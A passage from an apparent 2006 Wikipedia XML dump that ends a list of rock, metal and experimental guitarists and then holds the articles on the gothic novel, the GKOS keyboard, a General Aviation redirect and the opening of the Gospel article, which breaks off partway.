:[[Paul Simon]] ([[Simon and Garfunkel]])
:[[Slash (musician)|Slash]] ([[Slash's Snakepit]], [[Guns N' Roses]], &amp; [[Velvet Revolver]])
:[[Fred Sonic Smith|Fred &quot;Sonic&quot; Smith]] ([[MC5]])
:[[Robert Smith]]
:[[Billy Squier]]
:[[John Squire]]
:[[Steve Stevens]] ([[Billy Idol]], [[Kyosuke Himuro]])
:[[Izzy Stradlin]] ([[Guns N' Roses]])
:[[Andy Summers]] ([[The Police (band)|The Police]])
:[[Akira Takasaki]] ([[Loudness (heavy metal)|Loudness]])
:[[Porl Thompson]]
:[[Pete Townshend]] ([[The Who]])
:[[Robin Trower]]   ([[Paramounts,Procol Harum,Robin Trower]])
:[[Steve Vai]] ([[Frank Zappa]], [[Alcatrazz]], [[David Lee Roth]], &amp; [[Whitesnake]])
:[[Eddie Van Halen]] ([[Van Halen]])
:[[Tom Verlaine]] ([[Television (band)|Television]])
:[[Jack White (musician)|Jack White]] ([[The White Stripes]])
:[[Jason White]] ([[Pinhead Gunpowder]])
:[[Nancy Wilson (guitarist)|Nancy Wilson]] ([[Heart (band)|Heart]])
:[[Angus Young]] ([[AC/DC]])
:[[Malcolm Young]] ([[AC/DC]])
:[[Neil Young]] ([[Buffalo Springfield]], [[Crazy Horse (band)|Crazy Horse]], [[CSN&amp;Y]], [[The Esquires]], [[The Stray Gators]])
:[[Frank Zappa]] (among other things, played with [[The Mothers of Invention]])
:[[Blues Saraceno]]
:[[Del Marquis]] (played for [[Scissor Sisters]])
:[[Rivers Cuomo]] ([[Weezer]])
:[[Brian Bell]]  ([[Weezer]])
:[[Aly and A.J.]](sister singing group)

----

===[[Heavy metal music|Metal]]===
:[[John LeCompt]] ([[Evanescence]])
:[[Buckethead]]  (solo artist, [[Deli Creeps]], [[Giant Robot]], [[Guns N' Roses]], [[Colonel Calypool's Bucket of Bernie Brains]], [[Praxis]])
:[[Mikael Åkerfeldt]] ([[Opeth]])
:[[Michael Amott]] ([[Arch Enemy (band)|Arch Enemy]]) ([[Carcass (band)|Carcass]])
:[[Christopher Amott]] ([[Arch Enemy (band)|Arch Enemy]])
:[[Steve Ewin]] (solo artist)
:[[Jason Becker]] (solo artist, [[Cacophony]], [[David Lee Roth]])
:[[Jonathan Donais]] ([[Shadows Fall]])
:[[Nuno Bettencourt]] ([[Extreme (band)|Extreme]])
:[[Matt Bachand]] ([[Shadows Fall]])
:[[Wes Borland]] ([[Limp Bizkit]])
:[[Bumblefoot]] ([[Bumblefoot|Ron Thal]])
:[[Dimebag Darrell]] ([[Pantera]], [[Rebel Meets Rebel]], [[Damageplan]])
:[[Shifa]] ([[Poizon Green]])
:[[Alex Wand]] 
:[[Chris DeGarmo]] ([[Queensrÿche]])
:[[K. K. Downing]] ([[Judas Priest]])
:[[Todd Duane]] (solo artist)
:[[Marty Friedman (guitarist)|Marty Friedman]] (solo artist, [[Cacophony]], [[Megadeth]])
:[[Stephan Fortè]] ([[Adagio]])
:[[Kirk Hammett]] ([[Metallica]])
:[[James Hetfield]] ([[Metallica]])
:[[Kenny Hickey]] ([[Type O Negative]])
:[[Scott Ian]] ([[Anthrax_(band)|Anthrax]])
:[[Chris Impellitteri]] (solo artist)
:[[Tony Iommi]] ([[Black Sabbath]])
:[[Matthias Jabs]] ([[Scorpions (band)|Scorpions]])
:[[Adam Jones]] ([[Tool_(band)|Tool]])
:[[Kerry King]] ([[Slayer]])
:[[Alexi Laiho]] ([[Children of Bodom]])
:[[Roope Latvala]] ([[Children of Bodom]], [[Sinergy]])
:[[Herman Li]] ([[DragonForce]])
:[[Peter Lindgren]] ([[Opeth]])
:[[Sam Totman]] ([[Dragonforce]])
:[[Andy LaRocque]] ([[King Diamond (band)|King Diamond]])
:[[George Lynch (musician)|George Lynch]] ([[Dokken]], [[Lynch Mob (band)|Lynch Mob]])
:[[Daron Malakian]] ([[System of a Down]])
:[[Yngwie Malmsteen]] (solo artist, [[Alcatrazz]], [[Steeler]])
:[[Jim Martin]] ([[Faith No More]])
:[[Borislav Mitic]] (solo artist)
:[[Vinnie Moore]] 
:[[James Murphy (musician)|James Murphy]] (solo artist, [[Death (band)|Death]], [[Disincarnate]], [[Testament (band)|Testament]])
:[[Dave Murray]] ([[Iron Maiden]])
:[[Dave Mustaine]] ([[Megadeth]])
:[[John Petrucci]] ([[Dream Theater]], [[Liquid Tension Experiment]])
:[[Randy Rhoads]] ([[Quiet Riot]], [[Ozzy Osbourne]])
:[[Michael Romeo]] ([[Symphony X]])
:[[Michael Schenker]]  (solo artist, [[UFO (band)|UFO]])
:[[Rudolph Schenker]] ([[Scorpions (band)|Scorpions]])
:[[Chuck Schuldiner]] ([[Death (band)|Death]], [[Control Denied]])
:[[Adrian Smith]] ([[Iron Maiden]])
:[[Bill Steer]] ([[Carcass (band)|Carcass]])
:[[Troy Stetina]] 
:[[Joe Stump]]
:[[Izzy Stradlin]] ([[Guns N' Roses]])
:[[Akira Takasaki]] ([[Loudness (heavy metal)|Loudness]])
:[[The Great Kat|Katherine &quot;The Great Kat&quot; Thomas]]
:[[Glenn Tipton]] ([[Judas Priest]])
:[[Steve Vai]] ([[Frank Zappa]], [[Alcatrazz]], [[David Lee Roth]], [[Whitesnake]])
:[[Eddie Van Halen]] ([[Van Halen]])
:[[Rich Ward]] ([[Stuck Mojo]]), [[Sick Speed]], [[Fozzy]], [[The Duke]])
:[[Michael Wilton]] ([[Queensrÿche]])
:[[Zakk Wylde]] ([[Black Label Society]], [[Pride &amp; Glory]], [[Ozzy Osbourne]])
:[[Dweezil Zappa]]
:[[Ben Weinman|Benjamin Weinman]] ([[The Dillinger Escape Plan]])
:[[Andrew Matthews]]
:[[Kai Hansen]] ([[Helloween]], [[Iron Savoir]], [[Gamma Ray]])

=== [[Experimental_music|Experimental]] ===
:[[Derek Bailey]]
:[[Glenn Branca]]
:[[Rhys Chatham]]
:[[Nels Cline]]
:[[Loren Mazzacane Conners]]
:[[Kim Gordon]] ([[Sonic Youth]])
:[[Keiji Haino]]
:[[Henry Kaiser]]
:[[Thurston Moore]] ([[Sonic Youth]])
:[[KK Null]]
:[[Paul Panhuysen]]
:[[Lee Ranaldo]] ([[Sonic Youth]])
:[[Hans Reichel]]
:[[Jim_O%27Rourke_%28musician%29|Jim O'Rourke]]
:[[Keith Rowe]]
:[[Elliott Sharp]]
:[[Davey Williams]]
--&gt;

==See also==

*[[List of guitarists]]
*[[Guitar]]
*[[Classical guitar]]
*[[Lute]]
*[[Electric guitar]]

==External links==
* [http://www.guitarfoundation.org/ The Guitar Foundation of America] 
* [http://www.guitaristheaven.com/ http://www.guitaristheaven.com] A site for guitar fanatics. Includes lessons, interviews, transcriptions, reviews, DVD reviews, wallpapers, picks gallery and an impressive list of guitar heroes.
* [http://www.cyberfret.com http://www.cyberfret.com ] Another web page with tips and tricks
* [http://www.jazzguitar.be/jazzguitar_licks.html Jazz Guitar Online ] Signature licks
* [http://www.wikiguitar.net Wiki Guitar] Wiki based guitar resource with tablature archive.
* [http://www.harmony-central.com http://www.harmony-central.com] Guitar reviews of countless manufacturers
*[http://www.dimebagdarrell.co.uk/ Dimebag Darrell Tribute Site] News, photos and video of Dimebag Darrell
*[http://www.guitarchordsmagic.com/ Guitar Chords Online]
*[http://www.guitarist.info/ Guitarist Related Information]
*[http://www.guitar-poll.com/ Guitar Poll]
*[http://www.guitar-forum.co.uk/ Guitar Forum] Forum for guitar fanatics, Includes lessons, friendly members willing to help anyone who needs it
[[Category:Guitarists| ]]

[[da:Guitarist]]
[[de:Gitarrist]]
[[es:Guitarrista]]
[[fr:Guitariste]]
[[he:גיטריסט]]
[[ko:기타리스트]]
[[it:Chitarrista]]
[[lb:Lëscht vun de Gittaristen]]
[[hu:Gitáros]]
[[nl:Lijst van gitaristen]]
[[ja:ギタリストの一覧]]
[[sv:Gitarrist]]</text>
    </revision>
  </page>
  <page>
    <title>Gothic novel</title>
    <id>12622</id>
    <revision>
      <id>41795005</id>
      <timestamp>2006-03-01T20:24:05Z</timestamp>
      <contributor>
        <ip>145.254.161.119</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Strawberryhill.jpg|thumb|300px|right|Strawberry Hill, an English villa in the [[Neo-Gothic|&quot;Gothic revival&quot;]] style, built by seminal Gothic writer Horace Walpole]]
The '''gothic novel''' is a [[literary genre]] that belongs to [[Romanticism]] and began in Britain with ''[[The Castle of Otranto]]'' ([[1764]]) by [[Horace Walpole]].  It is the predecessor to modern [[horror fiction]] and, above all, has led to the common definition of &quot;gothic&quot; as being connected to the dark and horrific.

Prominent features of gothic novels included terror, mystery, the [[supernatural]], [[ghost]]s, haunted buildings, castles, trapdoors, doom, death, decay, madness, hereditary curses, and so on. 

== Origins of the gothic novel ==

The term &quot;gothic&quot; was originally a disparaging term applied to a style of medieval architecture ([[Gothic architecture]]) and art ([[Gothic art]]).  The opprobrious term &quot;gothick&quot; was embraced by the [[18th century]] proponents of the [[gothic revival]], a forerunner of the [[Romanticism|Romantic]] genres.  Gothic revival architecture, which became popular in the [[nineteenth century]], was a reaction to the classical architecture that was a hallmark of the Age of Reason. 

In a way similar to the gothic revivalists' rejection of the clarity and rationalism of the [[neoclassicism|neoclassical]] style of the [[Age of Enlightenment|Enlightened]] [[Establishment]], the term &quot;gothic&quot; became linked with an appreciation of the joys of extreme emotion, the thrill of fearfulness and awe inherent in the [[sublime (philosophy)|sublime]], and a quest for ''atmosphere''.  The ruins of gothic buildings gave rise to multiple linked emotions by representing the inevitable decay and collapse of human creations -- thus the urge to add fake ruins as eyecatchers in English landscape parks.  English Protestants often associated medieval buildings with what they saw as a dark and terrifying period, characterized by harsh laws, torture, and [[superstition|superstitious]] rituals.

==The first gothic novels==

The term &quot;gothic&quot; came to be applied to the literary genre precisely because the genre dealt with such emotional extremes and dark themes, and because it found its most natural settings in the buildings of this style -- castles, mansions, and monasteries, often remote, crumbling, and ruined.  It was a fascination with this architecture and its related art, poetry (see [[Graveyard Poets]]), and even landscape gardening that inspired the first wave of gothic novelists.  For example, [[Horace Walpole]], whose ''[[The Castle of Otranto]]'' is often regarded as the first true gothic novel, was obsessed with fake medieval gothic architecture, and built his own house, [[Strawberry Hill, London|Strawberry Hill]], in that form, sparking off a fashion for [[gothic revival]].

Walpole's novel arose out of this obsession with the medieval.  He originally claimed that the book was a real medieval romance he had discovered and republished.  Thus was born the gothic novel's association with [[false document| fake documentation]] to increase its effect.  Indeed, ''[[The Castle of Otranto]]''  was originally subtitled A [[Romance (genre)|Romance]] -- a literary form held by educated taste to be tawdry and unfit even for children, due to its superstitious elements -- but Walpole revived some of the elements of the medieval romance in a new form.  The basic plot created many other gothic staples, including a threatening mystery and an ancestral curse, as well as countless trappings such as hidden passages and oft-fainting heroines.  

It was however [[Ann Radcliffe]] who created the gothic novel in its now-standard form.  Among other elements, Radcliffe introduced the brooding figure of the gothic [[villain]], which developed into the [[Byronic hero]].  Unlike Walpole's, her novels, beginning with ''[[The Mysteries of Udolpho]]'' (1794), were best-sellers, and virtually everyone in English society was reading them.  [[Mary Shelley]]'s ''[[Frankenstein]]'' (1818) is undoubtedly one of the most important literary triumphs of this period.

== France and Germany ==

At about the same time, parallel Romantic literary movements developed in continental Europe: the ''roman noir'' (&quot;black novel&quot;) in [[France]] and the ''Schauerroman'' (&quot;shudder novel&quot;) in [[Germany]]. 

Writers of the ''roman noir'' include [[François Guillaume Ducray-Duminil]], [[Baculard d'Arnaud]], and [[Madame de Genlis]]. Some writings of the [[Marquis de Sade]] have also been called &quot;gothic&quot;.

The German ''Schauerroman'' was often more horrific and violent than the English gothic novel, and may have influenced [[Matthew Gregory Lewis]]'s ''[[The Monk]]'' ([[1796]]) in this regard. One notable writer was [[E.T.A. Hoffman]].

== Later developments ==

In [[Britain]], the gothic novel as a genre largely played itself out by [[1840]].  This was helped by the over-saturation of the genre by cheap &quot;pulp&quot; works&amp;mdash;which would later morph into cheap horror fiction in the form of &quot;[[penny dreadful]]s&quot;&amp;mdash;as well as a decline in the genre's respectability since the turn of the century, caused by the publication of works such as [[Matthew Gregory Lewis]]' ''[[The Monk]]'' ([[1796]]), a shocking (particularly at the time) tale of sex, violence and debauchery that almost bordered on the pornographic.  

However, the gothic novel had a lasting effect on the development of literary form in the Victorian period.  It led to the Victorian craze for short [[ghost stories]], as well as the short, shocking, macabre tale as mastered by the American author [[Edgar Allan Poe]].  It also was a heavy influence on [[Charles Dickens]], who read gothic novels as a teenager and incorporated their gloomy atmosphere and melodrama into his own works, shifting them to a more modern period.  The mood and themes of the gothic novel held a particular fascination for the Victorians, with their morbid obsession with [[mourning rituals|mourning rituals]], [[Memento mori|Memento]]s, and mortality in general.

==Post-Victorian legacy==

By the [[1880]]s, it was time for a revival of the gothic novel as a semi-respectable literary form.  This was the period of the gothic works of [[Robert Louis Stevenson]], [[Arthur Machen]], and [[Oscar Wilde]], and the most famous gothic villain ever appeared in [[Bram Stoker]]'s ''[[Dracula]]'' (1897).  Other notable writers included [[Algernon Blackwood]], [[William Hope Hodgson]], and [[H.P.Lovecraft]]. Lovecraft's protégé, [[Robert Bloch]], penned the gothic horror classic, ''[[Psycho]]'', which drew on the classic interests of the genre. From these, the gothic genre ''per se'' gave way to modern [[horror fiction]], although many literary critics use the term to cover the entire genre, and many modern writers of horror (or indeed other types of fiction) exhibit considerable gothic sensibilities -- examples include the works of [[Anne Rice]], as well as some of the less sensationalist works of [[Stephen King]].  

The themes of the gothic novel have had innumerable children. It led to the modern horror film, one of the most popular of all genres seen in [[Gothic films|films]]. While few classical composers drew on gothic works, twentieth century popular music drew on it strongly, eventually resulting in [[gothic rock]] and the [[goth]] subculture surrounding it. Themes from gothic writers such as [[H.P. Lovecraft]] were also used amongst [[heavy metal music|heavy metal]] bands, especially in [[black metal]], [[death metal]] and [[gothic metal]]. More recently, the gothic tradition has been expanded to new media forms on the [[internet]].

==Prominent examples==
* ''[[The Castle of Otranto]]'' ([[1764]]) by [[Horace Walpole]] '''([http://www.gutenberg.org/etext/696 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[Vathek]], an Arabian Tale'' ([[1786]]) by [[William Thomas Beckford]] '''([http://www.gutenberg.org/etext/2060 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Mysteries of Udolpho]]'' ([[1794]]) by  [[Ann Radcliffe]] '''([http://www.gutenberg.org/etext/3268 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[Caleb Williams]]'' ([[1794]]) by [[William Godwin]] '''([http://www.gutenberg.org/etext/11323 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Monk]]'' ([[1796]])  by [[Matthew Gregory Lewis]] '''([http://www.gutenberg.org/etext/601 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Italian (novel)|The Italian]]'' ([[1797]]) by [[Ann Radcliffe]]
* ''[[Frankenstein]]'' ([[1818]])  by [[Mary Shelley]] '''([http://en.wikisource.org/wiki/Frankenstein,_or_the_Modern_Prometheus Full text] at [[Wikisource]])'''
* ''[[The Vampyre]]; a Tale'' ([[1819]]) by [[John William Polidori]] '''([http://www.gutenberg.org/etext/6087 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[Melmoth the Wanderer]]'' ([[1820]]) by [[Charles Robert Maturin]] '''([http://www.horrormasters.com/Text/a0023.pdf Full text] at [http://www.horrormasters.com/ HorrorMasters.com])'''
* ''[[Confessions of an English Opium-Eater]]'' ([[1821]]) by [[Thomas de Quincey]] '''([http://www.gutenberg.org/etext/2040 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Private Memoirs and Confessions of a Justified Sinner]]'' ([[1824]]) by [[James Hogg]] '''([http://www.gutenberg.org/etext/2276 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[Young Goodman Brown]]'' ([[1835]]) by [[Nathaniel Hawthorne]]
* ''[[The Fall of the House of Usher]]'' ([[1839]]) by [[Edgar Allan Poe]] '''([http://en.wikisource.org/wiki/The_Fall_of_the_House_of_Usher Full text] at [[Wikisource]])'''
* ''[[The Tell-Tale Heart]]'' ([[1843]]) by [[Edgar Allan Poe]] '''([http://en.wikisource.org/wiki/The_Tell-Tale_Heart Full text] at [[Wikisource]])'''
* ''[[The Mummy's Foot]]'' ([[1863]]) by [[Théophile Gautier]] '''([http://fr.wikisource.org/wiki/Le_Pied_de_momie Full text] at [[Wikisource]])'''
* ''[[The Strange Case of Dr. Jekyll and Mr. Hyde]]'' ([[1886]]) by [[Robert Louis Stevenson]] '''([http://www.gutenberg.org/etext/42 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Picture of Dorian Gray]]'' ([[1891]]) by [[Oscar Wilde]] '''([http://www.gutenberg.org/etext/174 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Horla]]'' ([[1887]]) by [[Guy de Maupassant]] '''([http://fr.wikisource.org/wiki/Le_Horla Full text] at [[Wikisource]])'''
* ''[[The Yellow Wallpaper]]'' ([[1892]]) by [[Charlotte Perkins Gilman]] '''([http://www.gutenberg.org/etext/1952 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[Dracula]]'' ([[1897]]) by [[Bram Stoker]] '''([http://en.wikisource.org/wiki/Dracula Full text] at [[Wikisource]])'''
* ''[[The Turn of the Screw]]'' ([[1898]]) by [[Henry James]] '''([http://www.gutenberg.org/etext/209 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Monkey's Paw]]'' ([[1902]] by [[W.W. Jacobs]] '''([http://www.gutenberg.org/etext/12122 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Phantom of the Opera]]'' ([[1910]]) by [[Gaston Leroux]] '''([http://www.gutenberg.org/etext/175 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Lair of the White Worm]]'' ([[1911]]) by [[Bram Stoker]] '''([http://en.wikisource.org/wiki/The_Lair_of_the_White_Worm Full text] at [[Wikisource]])'''
* ''[[Gormenghast]]'' ([[1946]] - [[1959]]) by [[Mervyn Peake]]
* ''[[The Seven Churches (novel)|The Seven Churches]]'' - [[1999]] by [[Milos Urban]]

===Gothic satire===
* ''[[Northanger Abbey]]'' ([[1818]]) by [[Jane Austen]] '''([http://en.wikisource.org/wiki/Northanger_Abbey Full text] at [[Wikisource]])'''
* ''[[Nightmare Abbey]]'' ([[1818]]) by [[Thomas Love Peacock]] '''([http://www.gutenberg.org/etext/9909 Full text] at [http://www.gutenberg.org Project Gutenberg])'''
* ''[[The Ingoldsby Legends]]'' ([[1840]]) by [[Thomas Ingoldsby]] '''([http://www.exclassics.com/ingold/ingintro.htm Full text] at [http://www.exclassics.com The Ex-Classics Website])'''

== See also ==
*[[Southern Gothic]]
*[[Southern Ontario Gothic]]

==References==
[[David Stevens]] &quot;The Gothic Tradition&quot; [[ISBN]] 0 521 777321

==External links==

* [http://www.gothic.net Online Horror Lit Mag Gothic.net]
* [http://members.aol.com/iamudolpho/basic.html The Gothic Literature Page] 
* [http://www.schools.bedfordshire.gov.uk/gothic/index.htm Gothic Novel section of the Bedfordshire Schools' homepage] (extensive material) 
* ''[http://en.wikisource.org/wiki/Supernatural_Horror_in_Literature Supernatural Horror in Literature]'' by [[H. P. Lovecraft]] at [[Wikisource]]

[[Category:Gothic novels|*]]
[[Category:Literature]]
[[Category:Speculative fiction]]
[[Category:18th century books]]
[[Category:19th century books]]

[[cs:Gotický román]]
[[de:Schauerroman]]
[[es:Literatura de terror gótico]]
[[fr:Roman gothique]]
[[nl:Gothic (literatuur)]]
[[ja:ゴシック小説]]
[[no:Gothic novel]]
[[ru:Готический роман]]
[[sv:Göticism]]
[[zh:哥特小说]]</text>
    </revision>
  </page>
  <page>
    <title>GKOS keyboard</title>
    <id>12624</id>
    <revision>
      <id>41779998</id>
      <timestamp>2006-03-01T18:20:39Z</timestamp>
      <contributor>
        <username>Omegatron</username>
        <id>18931</id>
      </contributor>
      <comment>«&quot;WPM&quot; → &quot;[[words per minute|WPM]]&quot;»</comment>
      <text xml:space="preserve">[[Image:Gkos_opened.jpg|thumb|GKOS keyboard plate opened — One implementation of the GKOS keyboard]]

The '''GKOS keyboard''' standard for small portable terminals is intended for replacing the [[QWERTY]] where there is not enough room for a large number of keys but still all QWERTY functions are required. Typical applications are cellular terminals/browsers and [[tablet PC]]s.

The GKOS [[alphanumeric keyboard|keyboard]] has 6 keys and they are located on the back of the terminal, 3 keys for each hand. The keypad is split between two hands so that the combination of keys to press would not be too difficult physically, and in order to have the keys located at the finger positions when you hold a calendar shaped object vertically in front of you by two hands. The 3 keys on one side of the device produce characters depending on the shift function (a simple chord) pressed on the other side.

For letters, numbers and punctuation, the most difficult combination is pressing two keys simultaneously by one hand while the other hand presses one key or no key at all. The remaining combinations are used for other functions found on the QWERTY keyboard. The thumbs can be used to control the mouse functions on the front panel near the sides. Consequently, most of the front panel can be reserved for the display (wide screen shape). The GKOS keyboard is also referred to as the &quot;SixBack&quot;.

As the GKOS typing system is new to most people, there is a learning curve before considerable text entry speeds can be reached. But with practice, speeds of 50 [[words per minute|WPM]] (= 250 characters per minute) have been achieved, practical limit being around 60 WPM. Recently, new capabilities have been introduced to GKOS for even quicker text entry: shortcut words (shorthand) and the &quot;GKOS chordon technique&quot; where common keys between consecutive characters need not be released. These are inherent capabilities of the GKOS system and can be used during typing when desired.

==See also==
* [[Chorded keyboard]]
* [[Keyer]]

==External links==
* [http://gkos.com/ Description of the GKOS keyboard]

[[Category:Computer keyboards]]</text>
    </revision>
  </page>
  <page>
    <title>General Aviation</title>
    <id>12626</id>
    <revision>
      <id>15910298</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[General aviation]]
</text>
    </revision>
  </page>
  <page>
    <title>Gospel</title>
    <id>12627</id>
    <revision>
      <id>41715416</id>
      <timestamp>2006-03-01T06:28:56Z</timestamp>
      <contributor>
        <username>Csernica</username>
        <id>10643</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">{{Christianity}}
:''For the genre of Christian-themed music, see [[gospel music]].''
:''For the novel by [[Wilton Barnhardt]], see [[Gospel: a novel]], for the [[manga]], see [[One-Pound Gospel]].''

In [[Christianity]], '''gospel''' means &quot;[[good news (religion)|good news]]&quot;. The word ''gospel'' derives from the [[Old English language|Old English]] word for &quot;good news&quot;, a translation of the [[Greek language|Greek]] word &amp;epsilon;&amp;upsilon;&amp;alpha;&amp;gamma;&amp;gamma;&amp;#941;&amp;lambda;&amp;iota;&amp;omicron;&amp;nu;, ''evangelion''.  From this word comes the term &quot;evangelist.&quot;

Gospel has generally been used in three ways:
#To denote the proclamation of God's saving activity in [[Jesus of Nazareth]] or to denote the message proclaimed by Jesus of Nazareth. This is the original New Testament usage (see Romans 1.1 or Mark 1.1).  
#More popularly to refer to the four [[Biblical canon|canonical]] '''gospels''' ([[Gospel of Matthew|Matthew]], [[Gospel of Mark|Mark]], [[Gospel of Luke|Luke]] and [[Gospel of John|John]]) and sometimes other non-canonical works (eg. [[Gospel of Thomas]]), that offer a [[narrative]] of the life, death and resurrection of Jesus.       
#Some modern scholars have used the term to denote a hypothetical [[genre]] of Early Christian [[literature]] (cf. Peter Stuhlmacher, ed., ''Das Evangelium und die Evangelien'', Tübingen 1983, also in English: ''The Gospel and the Gospels''). 

The expression &quot;gospel&quot; was used by [[Paul of Tarsus|Paul]] before the literary Gospels of the New Testament canon had been produced, when he reminded the men of the church at [[Corinth]] &quot;of the gospel I preached to you&quot; ([[1 Corinthians]] 15.1) through which, Paul averred, they were being saved, and he characterized it in the simplest terms, emphasizing Christ's appearances after the Resurrection (15.3 &amp;ndash; 8):
:&quot;...that Christ died for our sins in according to the [[Tanakh|scriptures]]; And that he was buried; and that he rose again the third day according to the scriptures;  And that he was seen of [[Saint Peter|Cephas]]; then of the [[Twelve Apostles|Twelve]]: After that, he was seen of above five hundred brethern at once: of whom the greater part remain unto this present, but some have fallen asleep. After that he was seen of James, then of all the apostles. Last of all, he was seen of me also, as one born out of due time.&quot;
 
The use of ''gospel'' (or its Greek equivalent ''evangelion'') to denote a particular genre of writing dates to the 2nd century. It was clearly used to denote a genre in [[Justin Martyr]] (c. 155) and more ambiguously so earlier in [[Ignatius of Antioch]] (c. 117).

== Canonical Gospels ==
{{Gospel Jesus}}
Of the many gospels written in antiquity, exactly four gospels came to be accepted as part of the [[New Testament]], or [[Biblical canon|canonical]]. An insistence upon a canonical four, and no others, was a central theme of [[Irenaeus of Lyons]], c. 185. In his central work, ''Adversus Haereses'' Irenaeus denounced various Christian groups that used only one gospel, such as [[Gospel of the Hebrews|Aramaic ''Matthew'']], as well as groups that embraced the texts of new revelations, such as the [[Valentinius|Valentinians]] (''A.H.'' 1.11.9).  Irenaeus declared that the four he espoused were the four pillars of the Church: &quot;it is not possible that there can be either more or fewer than four&quot; he stated, presenting as logic the [[analogy]] of the four corners of the earth and the four winds (1.11.8). His image, taken from ''[[Ezekiel]]'' 1, of God's throne borne by four creatures with four faces&amp;mdash;&quot;the four had the face of a man, and the face of a lion, on the right side: and the four had the face of an ox on the left side; they four also had the face of an eagle&quot;&amp;mdash; equivalent to the &quot;four-formed&quot; gospel, is the origin of the conventional symbols of the Evangelists: lion, bull, eagle, man. Irenaeus was successful in declaring that the four gospels collectively, and exclusively these four, contained the truth. By reading each gospel in light of the others, Irenaeus made of ''John'' a lens through which to read ''Matthew'', ''Mark'' and ''Luke''.

* [[Gospel according to Matthew]]
* [[Gospel according to Mark]]
* [[Gospel according to Luke]]
* [[Gospel according to John]]

=== Origin of the canonical Gospels ===
:''Main discussion: [[Synoptic problem]]''.
Among the canonical Gospels, ''Matthew'', ''Mark'', and ''Luke'' include many of the same passages in the life of Jesus and sometimes use identical or very similar wording. ''John'' expresses itself in a different style and relates the same incidents in a different way&amp;mdash; even in a revised narrative order&amp;mdash; and is often full of more encompassing theological and philosophical messages than the first three canonical Gospel accounts. It is ''John'' that explicitly introduces Jesus as God incarnate.

(The non-canonical ''[[Gospel of Peter]]'' reports much of the same material as canonical ''Matthew'', ''Mark'' and ''Luke''; and the non-canonical ''[[Gospel of Thomas]]'' reports many of the same sayings of Jesus.) 

The parallels among the first three Gospel accounts are so telling that many scholars have investigated the relationship between them.  In order to study them more closely, German scholar [[Johann Jakob Griesbach|JJ Griesbach]] (1776) arranged the first three Gospel accounts in a three-column table called a ''[[synopsis]]''. As a result, Matthew, Mark, and Luke have come to be known as the [[synoptic Gospels]]; and the question of the reason for this similarity, and the relationship between these Gospel accounts more generally, is known as the [[Synoptic Problem]].

The understanding found among early Christian writers and scholars has been that the first account of the Gospel to be committed to writing was that according to Matthew, the second Luke, followed by Mark and the final one John; and this order is defended today by proponents of the &quot;Two-Gospel Hypothesis&quot;. However, since then Enlightenment scholars have been proposing also many other solutions to the Synoptic Problem; and the dominant view today is that Mark is the first Gospel, with Matthew and Luke borrowing passages both from that Gospel and from at least one other common source, lost to history, termed by scholars '[[Q document|Q]]' (from German: ''Quelle'', meaning ''source''. This view is known as the [[Two-Source Hypothesis|&quot;Two Source Hypothesis&quot;]]. The related &quot;Four Source Hypothesis&quot; maintains that Matthew and Luke also had independent sources, termed by scholars [[Matthean material|M]] and [[Lukean material|L]].

Another theory which addresses the synoptic problem is the [[Farrer Hypothesis]]. This theory maintains [[Markan priority]] (that Mark was written first) and dispenses with the need for a theoretical document Q. What [[Austin Farrer]] has argued is that Luke used Matthew as a source as well as Mark, explaining the similarities between them without having to refer to a hypothetical document.

Estimates for the dates when the canonical Gospel accounts were written vary significantly; and the evidence for any of the dates is scanty. Conservative scholars tend to date earlier than others. The following are mostly the date ranges given by the late [[Raymond E. Brown]], in his book ''An Introduction to the New Testament'', as representing the general scholarly consensus in 1996:

* '''Matthew''': c. 70&amp;ndash;100 as the majority view, with conservative scholars arguing for a pre-70 date, particularly if they do not accept Mark as the first gospel written.
* '''Mark''': c. 68&amp;ndash;73
* '''Luke''': c. 80&amp;ndash;100, with most arguing for somewhere around 85
* '''John''': c. 90&amp;ndash;110. Brown does not give a consensus view for John, but these are dates as propounded by C K Barrett, among others. The majority view is that it was written in stages, so there was no one date of composition.

The general consensus among biblical scholars is that all four canonical Gospels were originally written in [[Greek language|Greek]], the [[lingua franca]] of the Roman Orient. On the strength of an early commentator it has been suggested that Matthew may have originally been written in [[Aramaic language|Aramaic]], and was known to [[Church fathers]] as the ''[[Gospel of the Hebrews]]'', or that it was translated from Aramaic to Greek with corrections based on ''Mark''. Regardless, no Aramaic original texts of the Gospel accounts have ever been found, only later translations from the Greek (see [[Peshitta]]).

== Non-canonical gospels ==
:''Main article: [[New Testament apocrypha]]''.
In addition to the four canonical gospels there have been other gospels that were not accepted into the canon. Some of these works appear to be later compositions than the canonical gospels, and as such were only ever accepted by small portions of the early Christian community. Some of the content of these non-canonical gospels (as much as it deviates from accepted theological norms) is considered [[heresy|heretical]] by the leadership of mainstream churches, including the [[Roman Catholic Church|Vatican]].

The two earliest non-canonical gospels are the sayings ''[[Gospel of Thomas]]'' and the narrative ''[[Gospel of Peter]]''.

A genre of &quot;[[Infancy gospel]]s&quot; (Greek: ''protoevangelion'') arose in the 2nd century, such as the ''[[Gospel of James]]'', which introduces the concept of the [[Perpetual Virginity]] of Mary, and the ''[[Infancy Gospel of Thomas]]'' (not to be confused with the sayings ''Gospel of Thomas''), both of which related many miraculous incidents from the life of Mary and the childhood of Jesus that are not included in the canonical gospels, but which have passed into Christian lore.

